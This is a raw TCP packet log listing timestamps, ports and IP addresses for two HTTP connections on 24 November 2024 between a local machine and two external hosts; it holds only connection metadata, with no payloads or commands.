Nov 24, 2024 12:24:28.392021894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.392072916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.392116070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.393122911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.393168926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.393224955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.393281937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.394284010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.394335985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.394346952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.394387960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.452064991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.452116013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.452169895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.452487946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.452649117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.452693939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.453234911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.453303099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.453519106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.454032898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.454135895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.454200983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.454853058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.454917908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.454965115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.455713987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.455775023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.455873966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.456521034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.456598997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.456655979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.528939962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.529012918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.529022932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.529050112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.529309034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.529356003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.529455900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.529522896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.530019999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.530255079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.530313015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.530591011 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.530623913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.530668974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.530744076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.530925989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.530973911 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.530973911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.531013966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.531261921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.531301975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.531402111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.531461954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.531912088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.532021999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.532068014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.532151937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.532170057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.532216072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.532918930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.532968998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.532984972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.533044100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.533046007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.533056974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.533262014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.533756018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.533878088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.533929110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.534058094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.534104109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.534182072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.534225941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.534573078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.534693003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.534738064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.535459995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.535507917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.535588026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.535638094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.535670042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.535686970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.535726070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.536305904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.536335945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.536354065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.536369085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.536377907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.536406040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.536423922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.537377119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.537528992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.537595034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.537611008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.537642002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.537667990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.537667990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.538036108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.538266897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.538316965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.538563967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.538712025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.538727999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.538758039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.538805962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.539252043 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.539598942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.539650917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.539666891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.539711952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.539714098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.539740086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.540431023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.540477037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.540537119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.540579081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.540673971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.540803909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.540844917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.541250944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.541378975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.541424036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.541815042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.541865110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.541960955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.542006969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.542090893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.542119980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.542229891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.542920113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.542984962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.542999983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.543026924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.543056965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.543740988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.543756962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.543843031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.544032097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.544076920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.544079065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.544166088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.544644117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.544683933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.544687986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.544728041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.545142889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.545187950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.545233965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.545423031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.545540094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.545578957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.546345949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.546396017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.546405077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.546422005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.546437979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.546462059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.546485901 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.547101021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.547297001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.547350883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.547434092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.547450066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.547512054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.547947884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.548089027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.548446894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.548491955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.548494101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.548512936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.548737049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.548788071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.548861027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.548902988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.549542904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.549597979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.549613953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.549638987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.549721003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.549927950 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.550468922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.550591946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.550638914 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.550643921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.550685883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.550766945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.551254988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.551299095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.551306009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.551800013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.551853895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.551855087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.551955938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.552201033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.552272081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.552334070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.552382946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.552884102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.552912951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.552928925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.552961111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.552989960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.553226948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.553750038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.553869009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.553915024 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.553962946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.554085016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.554127932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.554658890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.554794073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.555105925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.555146933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.555191994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.555222988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.555241108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.555406094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.555633068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.555680990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.556180954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.556230068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.556272984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.556291103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.556304932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.556315899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.556348085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.557068110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.557199955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.557240963 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.557336092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.557352066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.557391882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.557960033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.558085918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.558224916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.558451891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.558501005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.558521032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.558568954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.558752060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.558867931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.559531927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.559581995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.559582949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.559655905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.559674025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.559689999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.559715033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.559731960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.560420990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.560522079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.560669899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.560688019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.560719013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.560720921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.560739040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.561244965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.561371088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.561418056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.561728001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.561933994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.561980963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.562067032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.562258959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.562444925 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.562822104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.562869072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.562957048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.562973976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.562990904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.562999010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.563029051 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.563815117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.563934088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.563990116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.563990116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.564006090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.564050913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.564598083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.564694881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.565021038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.565073013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.565073013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.565120935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.565480947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.565534115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.565577030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.565623045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.566129923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.566276073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.566293001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.566308975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.566319942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.566354990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.567097902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.567214966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.567279100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.567295074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.567323923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.567334890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.567342043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.567923069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.568346024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.568394899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.568739891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.568789959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.569469929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.569516897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.569561005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.569610119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.570548058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.570596933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.570645094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.570728064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.571675062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.571716070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.571755886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.571799040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.572792053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.572835922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.572954893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.572998047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.573892117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.573937893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.574001074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.574048042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.574986935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.575037003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.575084925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.575128078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.576142073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.576188087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.576235056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.576280117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.577197075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.577239990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.577282906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.577327013 CET	49793	80	192.168.2.4	31.41.244.11
